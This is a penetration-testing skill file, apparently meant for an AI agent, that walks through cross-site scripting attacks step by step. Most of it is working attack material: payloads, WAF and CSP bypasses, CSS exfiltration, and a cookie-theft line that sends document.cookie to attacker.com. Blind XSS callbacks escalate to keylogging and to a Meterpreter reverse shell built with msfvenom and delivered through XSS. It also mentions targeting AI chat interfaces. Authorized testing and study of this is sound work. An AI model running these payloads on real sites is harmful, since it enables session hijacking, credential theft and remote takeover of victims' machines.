xss-pentest

name	xss-pentest
description	Guides cross-site scripting testing with context-aware payloads, filter evasion, CSP bypass, and blind XSS techniques. Use when user input appears in HTML, JavaScript, or DOM sinks, or reflected/stored content suggests script injection is possible.

Cross-Site Scripting Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• Load web-app-pentest for overall web testing context.

Triggers

• User input reflected in HTML body, attributes, or JavaScript strings without encoding
• Stored content (comments, profiles, messages) renders raw HTML or script-like text
• DOM sinks: innerHTML, document.write, eval, location/hash/query parsing
• URL parameters echoed in page title, error messages, or JSONP callbacks
• File upload accepted for HTML, SVG, XML, or markdown-rendered content
• CSP headers present but potentially bypassable

Workflow

Task Progress:
- [ ] Map injection points (reflected, stored, DOM) and output context
- [ ] Test with low-impact probes and context-specific payloads
- [ ] Identify filter/WAF behavior and pivot to bypass payloads
- [ ] Escalate to session theft, keylogging, or blind XSS callback
- [ ] Document with request/response evidence and impact PoC

Detection

Basic reflected probes

CLI (primary for web vulns):

dalfox url "http://<target>/page?q=test" --silence --worker 50
XSStrike -u "http://<target>/page?q=test" --crawl

Payloads: <script>alert(1)</script>, "><img src=x onerror=alert(1)>, '"><svg/onload=alert(1)>

MSF MCP: No direct module. Use msf_search_modules(query="xss") or msf_search_modules(query="cross site scripting") for related auxiliary modules.

Context-specific probes

CLI (primary):

dalfox url "http://<target>/page" --data "name=test" --method POST --silence

Context	Probe
HTML body	<script>alert(1)</script>
Attribute	" onmouseover=alert(1) "
JS string	';alert(1)//
URL/href	javascript:alert(1)

MSF MCP: No direct module. Use msf_generate_payload only for post-exploit browser delivery chains.

DOM-based XSS

CLI (primary):

dalfox url "http://<target>/page#test" --mining-dom --silence
# Hash-based: http://target/page#<img src=x onerror=alert(1)>

Trace source (location.hash, document.URL, postMessage) to sink (innerHTML, eval).

MSF MCP: No direct module.

Blind XSS

CLI (primary):

dalfox url "http://<target>/feedback" --blind "<callback-server>" --custom-payload "<script src=//callback.attacker.com></script>"

Payload: "><script src=//callback.attacker.com/hook.js></script>

Use XSS Hunter, ezXSS, or Burp Collaborator for admin-panel callbacks.

MSF MCP: No direct module.

Exploitation by variant

Reflected and stored XSS

CLI (primary):

XSStrike -u "http://<target>/comment" --data "body=PAYLOAD" --fuzzer
dalfox file urls.txt --silence --output result.txt

Stored: submit in profile, comments, filenames; trigger on victim page load.

MSF MCP: No direct module.

mXSS (mutation XSS)

CLI (primary):

# Submit via browser; mXSS triggers after sanitizer re-parse
# Payload survives innerHTML assignment then mutates to executable
curl -X POST "http://<target>/comment" -d "body=<noscript><p title=\"</noscript><img src=x onerror=alert(1)>\">"

Test sanitizer bypass via <noscript>, <svg><style>, <math>, table nesting that mutates on re-parse.

MSF MCP: No direct module.

DOM clobbering

CLI (primary):

// Inject: <form id=x><input id=y name=innerHTML></form>
// If app reads window.x.y.innerHTML, clobbered DOM node replaces expected object
<a id=defaultAvatar href="javascript:alert(1)">
<form id=defaultAvatar><input id=name value="https://attacker.com/avatar.jpg">

MSF MCP: No direct module.

Scriptless attacks (CSS injection exfil)

CLI (primary):

<input style="background:url('http://attacker.com/?leak='attr(value))" value="SECRET">
<style>@import url('http://attacker.com/css?c='+document.cookie);</style>
<link rel=stylesheet href="http://attacker.com/?d=leak">

Exfil via CSS attribute selectors, @import, or @font-face when script execution blocked.

MSF MCP: No direct module.

Trusted Types bypass

CLI (primary):

// If default policy exists, test sinks without Trusted Types enforcement
// Gadgets: DOMParser, createContextualFragment, setAttribute on event handlers
defaultTrustedTypes.createPolicy('default',{createHTML:s=>s}).createHTML('<img src=x onerror=alert(1)>')

Check for missing require-trusted-types-for, policy gaps on legacy sinks, or TrustedHTML policy that passes through unsanitized input.

MSF MCP: No direct module.

HTML5 and SVG upload XSS

CLI (primary):

dalfox url "http://<target>/upload" --method POST --data "file=test.svg" --silence

Payloads: <details open ontoggle=alert(1)>, <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>

MSF MCP: No direct module. Chain to upload-pentest for file delivery.

Filter/WAF bypass

CLI (primary):

dalfox url "http://<target>/page?q=test" --waf-evasion --delay 500 --silence
XSStrike -u "http://<target>/page?q=test" --skip-dom

Techniques: case variation <ScRiPt>, encoding %3Cscript%3E, \u003cscript\u003e, event handlers (onfocus, onanimationstart), tag mutation <svg/onload=alert(1)>

MSF MCP: No direct module.

CSP bypass

CLI (primary):

# Identify CSP: curl -I http://<target>/ | grep -i content-security
dalfox url "http://<target>/page?q=test" --silence --only-poc r

Check: unsafe-inline, unsafe-eval, JSONP on script-src, whitelisted CDN gadgets (jQuery, Angular), <base href="https://attacker.com/">, nonce reuse.

Common CSP gadgets by framework:

• AngularJS (1.x): <div ng-app ng-csp><script src="//cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>{{constructor.constructor('alert(1)')()}}</div>
• Vue.js (2.x): {{_c.constructor('alert(1)')()}}
• DOMPurify bypass: Check version-specific bypasses at portswigger research

MSF MCP: No direct module.

Impact escalation

Stage	CLI technique
PoC	alert(1), console.log(document.cookie)
Session theft	fetch('https://attacker.com/?c='+document.cookie)
Keylogging	Stored XSS JS keylogger
Account takeover	CSRF token extraction + action chaining
Internal pivot	XSS to SSRF via fetch('/admin/internal')

MSF MCP: After XSS yields admin access, use msf_search_modules(query="<product>") for follow-on exploits.

Post-Exploit MSF Bridge

When XSS achieves session theft or code execution, bridge to MSF:

Session theft to shell

MSF MCP (preferred):

msf_start_listener(
  engagement_id="<id>",
  payload="windows/x64/meterpreter/reverse_https",
  lhost="<attacker>",
  lport=443
)
msf_generate_payload(
  engagement_id="<id>",
  payload="windows/x64/meterpreter/reverse_https",
  format="raw",
  options={"LHOST": "<attacker>", "LPORT": 443}
)

CLI fallback:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<attacker> LPORT=443 -f raw -o payload.bin

Deliver via XSS: <script src="http://<attacker>/hook.js"></script> with BeEF or custom JS loader.

Tool reference

dalfox url "http://<target>/page?q=test" --silence --worker 50 --waf-evasion
dalfox file urls.txt --blind "https://callback.attacker.com" --silence
XSStrike -u "http://<target>/page?q=test" --crawl --skip
XSStrike -u "http://<target>/page" --data "q=test" --fuzzer

Burp Collaborator for blind XSS. JWT/session cookies in impact PoC only within ROE.

Related skills

• web-app-pentest - overall web testing flow
• upload-pentest - XSS via SVG/HTML file upload
• ai-llm-pentest - XSS in AI chat UIs and markdown rendering
• red-team-evasion - OPSEC when using external callback services
• request-smuggling-pentest - smuggling can bypass XSS filters and CSP enforcement